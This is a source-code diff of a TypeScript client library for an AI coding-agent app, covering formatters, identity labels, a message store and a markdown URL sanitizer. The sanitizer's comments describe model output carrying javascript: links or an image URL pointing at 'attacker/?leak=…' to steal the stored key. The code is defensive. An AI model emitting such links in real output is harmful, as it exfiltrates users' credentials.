@codeoid/core 0.1.0

package/src/format.ts

@@ -0,0 +1,91 @@
+/**
+ * Display formatters for usage metrics — pure, deterministic, shared by
+ * every frontend so "1.2M tokens · $3.42 · 2m 15s" reads identically in the
+ * web UI, the TUI, and the mobile app. Colour/style decisions stay in each
+ * frontend (they're design-system-specific); everything here returns plain
+ * strings.
+ */
+
+/** Token count → "1.2M" / "12.5k" / "342". */
+export function formatTokens(n: number | null | undefined): string {
+  if (n == null || !Number.isFinite(n)) return "—";
+  const abs = Math.abs(n);
+  if (abs >= 1_000_000) return `${trimZeros(n / 1_000_000)}M`;
+  if (abs >= 10_000) return `${Math.round(n / 1_000)}k`;
+  if (abs >= 1_000) return `${trimZeros(n / 1_000)}k`;
+  return Math.round(n).toString();
+}
+
+/** USD cost → "$3.42" / "$0.012" / "<$0.01". Never returns "$0.00" for non-zero amounts. */
+export function formatCostUsd(usd: number | null | undefined): string {
+  if (usd == null || !Number.isFinite(usd)) return "—";
+  if (usd === 0) return "$0";
+  if (usd < 0.005) return "<$0.01";
+  if (usd < 0.1) return `$${usd.toFixed(3)}`;
+  if (usd < 10) return `$${usd.toFixed(2)}`;
+  return `$${Math.round(usd).toLocaleString()}`;
+}
+
+/** Duration in ms → "1h 24m" / "2m 15s" / "8s" / "240ms". */
+export function formatDuration(ms: number | null | undefined): string {
+  if (ms == null || !Number.isFinite(ms) || ms < 0) return "—";
+  if (ms < 1000) return `${Math.round(ms)}ms`;
+  const total = Math.round(ms / 1000);
+  const h = Math.floor(total / 3600);
+  const m = Math.floor((total % 3600) / 60);
+  const s = total % 60;
+  if (h > 0) return m > 0 ? `${h}h ${m}m` : `${h}h`;
+  if (m > 0) return s > 0 ? `${m}m ${s}s` : `${m}m`;
+  return `${s}s`;
+}
+
+/** Wall-clock elapsed since `since` (ISO 8601 string or epoch ms). */
+export function elapsedSince(since: string | number | Date, now = Date.now()): string {
+  const t = since instanceof Date ? since.getTime() : typeof since === "number" ? since : Date.parse(since);
+  if (!Number.isFinite(t)) return "—";
+  return formatDuration(now - t);
+}
+
+/** Compact relative time → "5m ago" / "2h ago" / "yesterday" / "Mar 5". */
+export function relativeTime(ts: string | number | Date, now = Date.now()): string {
+  const t = ts instanceof Date ? ts.getTime() : typeof ts === "number" ? ts : Date.parse(ts);
+  if (!Number.isFinite(t)) return "—";
+  const diff = now - t;
+  if (diff < 0) return "just now";
+  if (diff < 60_000) return "just now";
+  if (diff < 3600_000) return `${Math.floor(diff / 60_000)}m ago`;
+  if (diff < 86_400_000) return `${Math.floor(diff / 3600_000)}h ago`;
+  if (diff < 172_800_000) return "yesterday";
+  if (diff < 7 * 86_400_000) return `${Math.floor(diff / 86_400_000)}d ago`;
+  return new Date(t).toLocaleDateString(undefined, { month: "short", day: "numeric" });
+}
+
+/** Cache hit rate (0-1) → "63%". Returns "—" if not provided. */
+export function formatPercent(ratio: number | null | undefined, digits = 0): string {
+  if (ratio == null || !Number.isFinite(ratio)) return "—";
+  return `${(ratio * 100).toFixed(digits)}%`;
+}
+
+/**
+ * Context-window utilization severity — frontends map this to their own
+ * colour tokens. <60% "ok", 60-85% "warn", >85% "danger".
+ */
+export type CtxSeverity = "ok" | "warn" | "danger";
+export function ctxWindowSeverity(ratio: number): CtxSeverity {
+  if (ratio < 0.6) return "ok";
+  if (ratio < 0.85) return "warn";
+  return "danger";
+}
+
+/** HH:MM:SS for a timestamp string/number. Best-effort; falls back to the input. */
+export function formatClock(ts: string | number): string {
+  const t = typeof ts === "number" ? ts : Date.parse(ts);
+  if (!Number.isFinite(t)) return String(ts);
+  return new Date(t).toLocaleTimeString(undefined, { hour12: false });
+}
+
+// One decimal, but trim a trailing ".0" so "3.0k" reads as "3k".
+function trimZeros(n: number): string {
+  const s = n.toFixed(1);
+  return s.endsWith(".0") ? s.slice(0, -2) : s;
+}

package/src/identity.ts

@@ -0,0 +1,58 @@
+/**
+ * Identity helpers — surface ZeroID provenance everywhere, identically in
+ * every frontend. Every message carries a `MessageIdentity { sub, name?,
+ * type }`; clients render the *real* label (name or short sub), never a
+ * generic "you" / "agent", with the full WIMSE URI available on demand as
+ * proof of provenance. Colour mapping stays in each frontend.
+ */
+
+import type { MessageIdentity, SessionInfo } from "@codeoid/protocol";
+
+/**
+ * Last path segment of a SPIFFE / WIMSE URI.
+ *
+ *   spiffe://highflame.ai/acct/proj/agent/codeoid-session-abc → codeoid-session-abc
+ *   anonymous:session:abc → abc
+ *   you@example.com       → you@example.com (passthrough)
+ */
+export function shortSub(uri: string | null | undefined): string {
+  if (!uri) return "—";
+  // Anonymous markers: anonymous:<kind>:<id>
+  if (uri.startsWith("anonymous:")) {
+    const tail = uri.split(":").pop();
+    return tail || uri;
+  }
+  // SPIFFE / WIMSE: take everything after the last "/".
+  const slashIdx = uri.lastIndexOf("/");
+  if (slashIdx >= 0 && slashIdx < uri.length - 1) {
+    return uri.slice(slashIdx + 1);
+  }
+  return uri;
+}
+
+/** Display label for an identity — name when present, else short sub. */
+export function identityLabel(id: MessageIdentity | null | undefined): string {
+  if (!id) return "—";
+  if (id.name && id.name.trim().length > 0) return id.name.trim();
+  return shortSub(id.sub);
+}
+
+/**
+ * Truncate a WIMSE URI for inline display while keeping the head + tail
+ * visible — e.g. `spiffe://highflame.ai/.../agent/codeoid-session-abc`.
+ * The full URI stays available via the title attribute / hover popover.
+ */
+export function truncateWimseUri(uri: string, headChars = 24, tailChars = 28): string {
+  if (uri.length <= headChars + tailChars + 3) return uri;
+  return `${uri.slice(0, headChars)}…${uri.slice(-tailChars)}`;
+}
+
+/**
+ * One-liner provenance for a session — agent URI when registered, else
+ * a clearly-marked "anonymous". Used by session headers.
+ */
+export function sessionAgentLabel(s: SessionInfo): string {
+  if (!s.agentUri) return "anonymous session";
+  if (s.agentUri.startsWith("anonymous:")) return "anonymous session";
+  return shortSub(s.agentUri);
+}

package/src/index.ts

@@ -0,0 +1,9 @@
+export * from "./client.js";
+export * from "./messages.js";
+export * from "./resume.js";
+export * from "./format.js";
+export * from "./identity.js";
+export * from "./approvals.js";
+export * from "./usage-days.js";
+export * from "./sanitize-url.js";
+export * from "./slash.js";

package/src/messages.ts

@@ -0,0 +1,304 @@
+/**
+ * Message semantics — the single source of truth for how session transcripts
+ * accumulate on a client, shared by every frontend.
+ *
+ * Two layers:
+ *
+ *   1. KERNELS — pure functions encoding the merge semantics
+ *      (`mergeDeltaInto`, `dedupeReplay`). Frontends with their own reactive
+ *      store (the Solid web UI) call these inside their store transactions so
+ *      the semantics can't drift per-client.
+ *
+ *   2. `MessageStore` — a batteries-included, framework-agnostic store built
+ *      on the kernels for clients WITHOUT a bespoke reactive layer (React
+ *      Native, headless tools). Mirrors the web store's behaviour exactly:
+ *      upsert-by-messageId (idempotent re-broadcast/replay), O(1) positional
+ *      index, per-message version counters, per-session epoch counters, and
+ *      `ingest()` — the full broadcast-routing decision table (live message /
+ *      delta / snapshot replay / chunked replay / incremental resume) that is
+ *      easy to get subtly wrong when reimplemented.
+ *
+ * Everything here mirrors the Rust TUI's `MessageStore` semantics.
+ */
+
+import type {
+  ContentPart,
+  DaemonMessage,
+  ScrollbackReplayMsg,
+  SessionMessage,
+  SessionMessageDelta,
+  ToolState,
+} from "@codeoid/protocol";
+import type { ResumeCursors } from "./resume.js";
+
+// =============================================================================
+// Kernels
+// =============================================================================
+
+/**
+ * Apply a streaming delta to its target message, in place. The daemon
+ * guarantees deltas reference an existing message; callers gate on existence
+ * (stale deltas for evicted/unknown messages are dropped — the next replay
+ * resyncs).
+ *
+ * Mutates `target` deliberately: both the Solid store (inside `produce`) and
+ * `MessageStore` rely on in-place patching so streaming stays O(delta), not
+ * O(message). `parts` arrays are copy-on-write so consumers holding the old
+ * array reference are not surprised by index mutation.
+ */
+export function mergeDeltaInto(target: SessionMessage, delta: SessionMessageDelta): void {
+  if (delta.contentAppend) {
+    target.content = (target.content ?? "") + delta.contentAppend;
+  }
+  if (delta.partsAppend && delta.partsAppend.length > 0) {
+    const parts: ContentPart[] = target.parts ? [...target.parts] : [];
+    parts.push(...delta.partsAppend);
+    target.parts = parts;
+  }
+  if (delta.partsUpdate && delta.partsUpdate.length > 0) {
+    const parts: ContentPart[] = target.parts ? [...target.parts] : [];
+    for (const upd of delta.partsUpdate) {
+      const i = upd.index;
+      if (i >= 0 && i < parts.length) parts[i] = upd.part;
+      else parts.push(upd.part);
+    }
+    target.parts = parts;
+  }
+  if (delta.toolStateUpdate && target.tool) {
+    // ToolState is a discriminated union; assigning replaces wholesale.
+    target.tool = { ...target.tool, state: delta.toolStateUpdate satisfies ToolState };
+  }
+  target.timestamp = delta.timestamp;
+}
+
+/**
+ * Dedupe a replayed message array by messageId — the message keeps the
+ * position of its FIRST occurrence, the LAST occurrence's content wins
+ * (mirrors upsert semantics). Returns the deduped array plus the
+ * messageId → position index, which IS the store's positional index for
+ * the replaced session.
+ */
+export function dedupeReplay(messages: readonly SessionMessage[]): {
+  messages: SessionMessage[];
+  posById: Map<string, number>;
+} {
+  const deduped: SessionMessage[] = [];
+  const posById = new Map<string, number>();
+  for (const m of messages) {
+    const at = posById.get(m.messageId);
+    if (at !== undefined) {
+      deduped[at] = m;
+    } else {
+      posById.set(m.messageId, deduped.length);
+      deduped.push(m);
+    }
+  }
+  return { messages: deduped, posById };
+}
+
+// =============================================================================
+// MessageStore
+// =============================================================================
+
+/** Change notification. `messageId` is null for whole-session changes (replay/clear). */
+export type MessageStoreListener = (sessionId: string, messageId: string | null) => void;
+
+/** Stable empty slice — avoids an allocation per miss and gives callers a
+ * consistent identity for "no messages". */
+const EMPTY: readonly SessionMessage[] = Object.freeze([]);
+
+export class MessageStore {
+  #bySession = new Map<string, SessionMessage[]>();
+  #indexBySession = new Map<string, Map<string, number>>();
+  #versions = new Map<string, number>();
+  #epochs = new Map<string, number>();
+  #listeners = new Set<MessageStoreListener>();
+
+  /** Subscribe to changes. Returns an unsubscribe fn. */
+  onChange(listener: MessageStoreListener): () => void {
+    this.#listeners.add(listener);
+    return () => this.#listeners.delete(listener);
+  }
+
+  /** Messages for a session, in arrival order. The returned array is live —
+   * treat as read-only and re-read on change notifications / epoch bumps. */
+  messagesFor(sessionId: string): readonly SessionMessage[] {
+    return this.#bySession.get(sessionId) ?? EMPTY;
+  }
+
+  /** O(1) existence check. */
+  hasMessage(sessionId: string, messageId: string): boolean {
+    return this.#indexBySession.get(sessionId)?.has(messageId) ?? false;
+  }
+
+  /** Monotonic per-message version (render-cache key). 0 = never seen. */
+  versionOf(messageId: string): number {
+    return this.#versions.get(messageId) ?? 0;
+  }
+
+  /** Per-session epoch — bumps on EVERY mutation, including in-place delta
+   * patches (array identity is not a reliable change signal). */
+  epochOf(sessionId: string | null | undefined): number {
+    if (!sessionId) return 0;
+    return this.#epochs.get(sessionId) ?? 0;
+  }
+
+  /** Upsert a complete message (live broadcast or re-broadcast). */
+  applyMessage(msg: SessionMessage): void {
+    const index = this.#index(msg.sessionId);
+    const buf = this.#buffer(msg.sessionId);
+    const at = index.get(msg.messageId);
+    if (at !== undefined) {
+      buf[at] = msg;
+    } else {
+      index.set(msg.messageId, buf.length);
+      buf.push(msg);
+    }
+    this.#bumpVersion(msg.messageId);
+    this.#bumpEpoch(msg.sessionId);
+    this.#notify(msg.sessionId, msg.messageId);
+  }
+
+  /** Apply a streaming delta. Unknown/stale targets are dropped silently —
+   * the daemon's replay resyncs on the next attach. */
+  applyDelta(delta: SessionMessageDelta): void {
+    const idx = this.#indexBySession.get(delta.sessionId)?.get(delta.messageId);
+    if (idx === undefined) return;
+    const target = this.#bySession.get(delta.sessionId)?.[idx];
+    if (!target) return;
+    mergeDeltaInto(target, delta);
+    this.#bumpVersion(delta.messageId);
+    this.#bumpEpoch(delta.sessionId);
+    this.#notify(delta.sessionId, delta.messageId);
+  }
+
+  /** Authoritative snapshot replay — RESET the session to these messages. */
+  replaceScrollback(sessionId: string, messages: readonly SessionMessage[]): void {
+    const { messages: deduped, posById } = dedupeReplay(messages);
+    this.#bySession.set(sessionId, deduped);
+    this.#indexBySession.set(sessionId, posById);
+    this.#bumpEpoch(sessionId);
+    this.#notify(sessionId, null);
+  }
+
+  /** Chunked-replay continuation / incremental resume tail — upsert by
+   * messageId, keeping first-seen position; new messages append in order. */
+  appendScrollback(sessionId: string, messages: readonly SessionMessage[]): void {
+    if (messages.length === 0) return;
+    const index = this.#index(sessionId);
+    const buf = this.#buffer(sessionId);
+    for (const m of messages) {
+      const at = index.get(m.messageId);
+      if (at !== undefined) {
+        buf[at] = m;
+      } else {
+        index.set(m.messageId, buf.length);
+        buf.push(m);
+      }
+    }
+    this.#bumpEpoch(sessionId);
+    this.#notify(sessionId, null);
+  }
+
+  /** Drop all state for a destroyed session. */
+  clearSession(sessionId: string): void {
+    const ids = this.#indexBySession.get(sessionId);
+    if (ids) for (const id of ids.keys()) this.#versions.delete(id);
+    this.#bySession.delete(sessionId);
+    this.#indexBySession.delete(sessionId);
+    this.#epochs.delete(sessionId);
+    this.#notify(sessionId, null);
+  }
+
+  /**
+   * Route a daemon broadcast into the store — the full decision table:
+   *
+   *   - `session.message` → upsert (and advance the resume cursor);
+   *   - `session.message.delta` → in-place merge (and advance the cursor);
+   *   - `scrollback.replay`:
+   *       · `mode: "incremental"` → APPEND/upsert, never reset — the daemon
+   *         sent only the tail mutated since our cursor (chunk 0 of an
+   *         incremental replay is NOT a snapshot);
+   *       · snapshot chunk 0 / single-frame legacy → RESET the session;
+   *       · snapshot chunk > 0 (#84) → append in order.
+   *     Replay frames also (re)establish the resume cursor.
+   *
+   * Returns true when the frame was store-relevant (callers may use this to
+   * skip their own routing). Pass `cursors` to keep incremental resume
+   * working across reconnects; omit it to opt out of cursor tracking.
+   */
+  ingest(msg: DaemonMessage, cursors?: ResumeCursors): boolean {
+    switch (msg.type) {
+      case "session.message":
+        cursors?.noteLiveSeq(msg.sessionId, msg.seq);
+        this.applyMessage(msg);
+        return true;
+      case "session.message.delta":
+        cursors?.noteLiveSeq(msg.sessionId, msg.seq);
+        this.applyDelta(msg);
+        return true;
+      case "scrollback.replay": {
+        const replay = msg as ScrollbackReplayMsg;
+        cursors?.noteReplayFrame(replay);
+        if (replay.mode === "incremental") {
+          this.appendScrollback(replay.sessionId, replay.messages);
+        } else if (replay.seq === undefined || replay.seq === 0) {
+          this.replaceScrollback(replay.sessionId, replay.messages);
+        } else {
+          this.appendScrollback(replay.sessionId, replay.messages);
+        }
+        return true;
+      }
+      default:
+        return false;
+    }
+  }
+
+  /** Test/reset hook. */
+  clear(): void {
+    this.#bySession.clear();
+    this.#indexBySession.clear();
+    this.#versions.clear();
+    this.#epochs.clear();
+  }
+
+  // ── internals ──────────────────────────────────────────────────────────────
+
+  #buffer(sessionId: string): SessionMessage[] {
+    let buf = this.#bySession.get(sessionId);
+    if (!buf) {
+      buf = [];
+      this.#bySession.set(sessionId, buf);
+    }
+    return buf;
+  }
+
+  #index(sessionId: string): Map<string, number> {
+    let index = this.#indexBySession.get(sessionId);
+    if (!index) {
+      index = new Map();
+      this.#indexBySession.set(sessionId, index);
+    }
+    return index;
+  }
+
+  #bumpVersion(messageId: string): void {
+    this.#versions.set(messageId, (this.#versions.get(messageId) ?? 0) + 1);
+  }
+
+  #bumpEpoch(sessionId: string): void {
+    this.#epochs.set(sessionId, (this.#epochs.get(sessionId) ?? 0) + 1);
+  }
+
+  #notify(sessionId: string, messageId: string | null): void {
+    // Isolate subscriber faults: one throwing listener must not break the
+    // fan-out for later listeners or unwind the mutation that notified.
+    for (const l of this.#listeners) {
+      try {
+        l(sessionId, messageId);
+      } catch (err) {
+        console.error("[codeoid/core] MessageStore listener threw:", err);
+      }
+    }
+  }
+}

package/src/resume.ts

@@ -0,0 +1,74 @@
+/**
+ * Per-session resume cursors (`replay.resume`).
+ *
+ * Tracks, per session, the daemon's replay-buffer identity (`resumeKey`) and
+ * the highest session sequence value observed (`seq`) across replay frames
+ * and live message/delta traffic. On re-attach the cursor is passed back so
+ * the daemon replays only the tail mutated since — instead of the full
+ * scrollback — which is what makes reconnects cheap on flaky links.
+ *
+ * Safety property: the cursor may lag reality (a frame without `seq` doesn't
+ * advance it) but must never lead it — a lagging cursor just means a few
+ * messages are resent and deduped by the store's upsert-by-messageId; a
+ * leading cursor would silently skip content. Everything here only ever
+ * raises the cursor to values actually observed.
+ *
+ * A class (not module state) so each daemon connection owns its own cursor
+ * space; hosts hold one instance next to their `CodeoidClient` /
+ * `MessageStore` and pass it to `MessageStore.ingest()`.
+ */
+
+import type { ScrollbackReplayMsg } from "@codeoid/protocol";
+
+interface Cursor {
+  key: string;
+  seq: number;
+}
+
+export class ResumeCursors {
+  #cursors = new Map<string, Cursor>();
+
+  /**
+   * Ingest a replay frame. A frame carrying a NEW `resumeKey` (first contact,
+   * or the daemon restarted and rebuilt its buffer) resets the cursor to that
+   * key's `maxSeq` — old-key seq values are meaningless in the new domain.
+   * Same-key frames only ever raise the cursor.
+   */
+  noteReplayFrame(msg: ScrollbackReplayMsg): void {
+    if (msg.resumeKey === undefined || msg.maxSeq === undefined) return;
+    const existing = this.#cursors.get(msg.sessionId);
+    if (existing && existing.key === msg.resumeKey) {
+      if (msg.maxSeq > existing.seq) existing.seq = msg.maxSeq;
+    } else {
+      this.#cursors.set(msg.sessionId, { key: msg.resumeKey, seq: msg.maxSeq });
+    }
+  }
+
+  /**
+   * Ingest a live frame's session cursor (`SessionMessage.seq` /
+   * `SessionMessageDelta.seq`). Only meaningful once a replay frame has
+   * established which key the seq domain belongs to — live seqs arriving
+   * before any cursor exists are dropped (we can't resume without a key).
+   */
+  noteLiveSeq(sessionId: string, seq: number | undefined): void {
+    if (seq === undefined) return;
+    const cursor = this.#cursors.get(sessionId);
+    if (cursor && seq > cursor.seq) cursor.seq = seq;
+  }
+
+  /** The resume argument for `session.attach`, or undefined for a full replay. */
+  resumeFor(sessionId: string): { key: string; sinceSeq: number } | undefined {
+    const cursor = this.#cursors.get(sessionId);
+    return cursor ? { key: cursor.key, sinceSeq: cursor.seq } : undefined;
+  }
+
+  /** Drop a session's cursor (session destroyed). */
+  clear(sessionId: string): void {
+    this.#cursors.delete(sessionId);
+  }
+
+  /** Drop everything (new connection to a different daemon, tests). */
+  reset(): void {
+    this.#cursors.clear();
+  }
+}

package/src/sanitize-url.ts

@@ -0,0 +1,86 @@
+/**
+ * URL allowlisting for markdown rendered from UNTRUSTED content (assistant /
+ * tool output). `solid-markdown` does not sanitize `href`/`src` by default
+ * (its `transformLinkUri` default is `null`), so without these a model can emit
+ * `[x](javascript:…)` — one click runs script in the app origin, which can read
+ * the persisted ZeroID key from localStorage and drive the authenticated socket.
+ *
+ * Pass `safeLinkUri` as `transformLinkUri` and `safeImageUri` as
+ * `transformImageUri` on every `<SolidMarkdown>` that renders model output.
+ */
+
+/** Link schemes we allow. Everything else (javascript:, data:, vbscript:,
+ * file:, …) is dropped. Relative and anchor URLs always pass. */
+const SAFE_LINK_PROTOCOLS = ["http", "https", "mailto", "tel"];
+
+/**
+ * Return `uri` if it is safe to use as an `<a href>`, else `""` (which renders
+ * a non-navigable link). Mirrors the battle-tested react-markdown
+ * `uriTransformer`: a leading `scheme:` is only honored when the scheme is on
+ * the allowlist, and a `:` that appears after the first `?`/`#` is treated as
+ * data inside a relative URL rather than a scheme. This defeats obfuscations
+ * like `java\tscript:` (no valid scheme match → treated as relative, so the
+ * browser's own scheme parser never sees a control-laced `javascript:`).
+ */
+export function safeLinkUri(uri: string): string {
+  const url = (uri ?? "").trim();
+  if (url === "") return "";
+  const first = url.charAt(0);
+  if (first === "#" || first === "/") return url; // anchor / root-relative
+
+  const colon = url.indexOf(":");
+  if (colon === -1) return url; // no scheme → relative
+
+  for (const protocol of SAFE_LINK_PROTOCOLS) {
+    if (
+      colon === protocol.length &&
+      url.slice(0, protocol.length).toLowerCase() === protocol
+    ) {
+      return url;
+    }
+  }
+
+  // A `:` after the first `?`/`#` belongs to the query/fragment, not a scheme.
+  const q = url.indexOf("?");
+  if (q !== -1 && colon > q) return url;
+  const h = url.indexOf("#");
+  if (h !== -1 && colon > h) return url;
+
+  return "";
+}
+
+/**
+ * Return `src` if it is safe to auto-load as an `<img>`, else `""`. In addition
+ * to the scheme rules above, REMOTE image URLs (http/https) are dropped: an
+ * `![](https://attacker/?leak=…)` in model output is a zero-click exfiltration
+ * channel (the browser fetches it the moment the row mounts). Inline `data:`
+ * images and relative/same-origin paths — which cannot exfiltrate — are allowed.
+ */
+export function safeImageUri(src: string): string {
+  const url = (src ?? "").trim();
+  if (url === "") return "";
+  // Protocol-relative / network-path references (//host, and backslash-
+  // obfuscated variants /\host, \\host that browsers normalize) fetch
+  // cross-origin under the page's scheme — a zero-click exfil channel. Treat
+  // them like http(s), NOT same-origin, so they must be caught before the
+  // root-relative `/` allowance below.
+  if (/^[/\\]{2}/.test(url)) return "";
+  const first = url.charAt(0);
+  if (first === "#" || first === "/") return url; // anchor / root-relative
+
+  const colon = url.indexOf(":");
+  if (colon === -1) return url; // no scheme → relative
+
+  // Inline data: images never touch the network → safe from exfiltration.
+  if (/^data:image\//i.test(url)) return url;
+
+  // A `:` after the first `?`/`#` belongs to the query/fragment, not a scheme.
+  const q = url.indexOf("?");
+  if (q !== -1 && colon > q) return url;
+  const h = url.indexOf("#");
+  if (h !== -1 && colon > h) return url;
+
+  // Any real scheme here means a network fetch (http/https) or a dangerous
+  // scheme — drop it so untrusted content can't silently exfiltrate.
+  return "";
+}